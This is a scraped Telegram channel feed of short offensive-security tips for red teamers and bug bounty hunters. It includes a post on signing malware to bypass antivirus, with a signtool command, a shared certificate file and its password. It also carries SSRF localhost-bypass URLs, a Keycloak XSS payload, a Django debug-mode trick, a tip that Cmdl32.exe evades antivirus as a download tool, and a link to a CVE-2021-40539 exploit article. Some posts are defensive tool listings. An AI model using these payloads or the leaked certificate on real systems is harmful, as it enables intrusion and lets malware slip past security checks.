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This channel discusses:

— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc

Disclaimer:
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Chat Link:
t.iss.one/APT_Notes_PublicChat
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🔥 Antivirus Bypass using Code Signing 🔥

Code signing is a method software publishers use to authenticate the programs they distribute to end-users. Basically, a code-signed program tells the end-user and an end-user’s computer that the program being installed/executed is from a legitimate software publisher.

Digitally signed malware can bypass system protection mechanisms that install or launch only programs with valid signatures

You can use the SignTool to sign file with a valid certificate Go Daddy.
For example:

signtool.exe sign /f t.iss.one_secdevoops.pfx /p "*Aspider#" /t https://timestamp.digicert.com .\yourfile
.exe

This allows you to digitally sign PE binaries such as .exe, .cab, .dll, .ocx, .msi, .xpi and .xap files.

Don't forget to share and subscribe

#av #bypass #ev #signing #code
t.iss.one_secdevoops.pfx
4.3 KB
Password: *Aspider#
Best SSRF bypass

https://127.1/
https://0000::1:80/
https://[::]:80/
https://2130706433/
https://[email protected]
https://0x7f000001/
https://017700000001
https://0177.00.00.01


#ssrf #bugbounty #bugbountytips
Cheat Sheet for Malware Analysis

MalAPI.io
Maps Windows APIs to common techniques used by malware.

Filesec.io
Stay up-to-date with the latest file extensions being used by attackers.

#redteam #blueteam #DFIR #windows #winapi #maldev
Django Debug Mode Bypass

https://target/login?next=/

https://target/admin
[301 to https://target/admin/login/?next=/admin/]

Change request to [POST]
[500 Django DEBUG mode and vary bad information]

#bugbounty #bugbountytips #bugbountytip
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LOLBAS Cmdl32.exe

It's like a new certutil.exe but absolutely unheard of by any antivirus software!
"C:\Windows\System32\Cmdl32.exe" (signed by MS) is for you.

#lolbin #lolbas
ScoutSuite

Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. Using the APIs exposed by cloud providers, Scout Suite gathers configuration data for manual inspection and highlights risk areas. Rather than going through dozens of pages on the web consoles, Scout Suite presents a clear view of the attack surface automatically.

# https://github.com/nccgroup/ScoutSuite
# https://github.com/nccgroup/sadcloud

#aws #azure #gcp #auditing #tool
Forwarded from PT SWARM
How to exploit CVE-2021-40539 on ManageEngine ADSelfService Plus

👤 by Antoine Cervoise, Wilfried Bécard

ADSS offers multiple functionalities such as managing password policies for administrators or self password reset/account unlock for Active Directory users.
In this article research team explore the details of several vulnerabilities that allow an unauthenticated attacker to execute arbitrary code on the server.

📝 Contents:
• First steps
• Authentication Bypass
• Arbitrary file upload through the API
• Arguments injection
• Chaining everything together to get code execution
• Conclusion

https://www.synacktiv.com/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html
RDP_DFIR.pdf
76.1 KB
Mindmap on RDP analysis

#mindmap #forensic #rdp
Keycloak POST-based Reflected XSS

1
. POST /auth/realms/master/clientsregistrations/openid-connect
2. Content-Type: application/json
3. Request {"<svg onload=alert(document.domain)>":1}
4. Unfiltered user-input in error message will triggered XSS

#bugbounty #keycloak #xss
KubiScan

KubiScan helps cluster administrators identify permissions that attackers could potentially exploit to compromise the clusters. This can be especially helpful on large environments where there are lots of permissions that can be challenging to track. KubiScan gathers information about risky roles\clusterroles, rolebindings\clusterrolebindings, users and pods, automating traditional manual processes and giving administrators the visibility they need to reduce risk.

https://github.com/cyberark/KubiScan

#kubernetes #rbac #scan #security #tools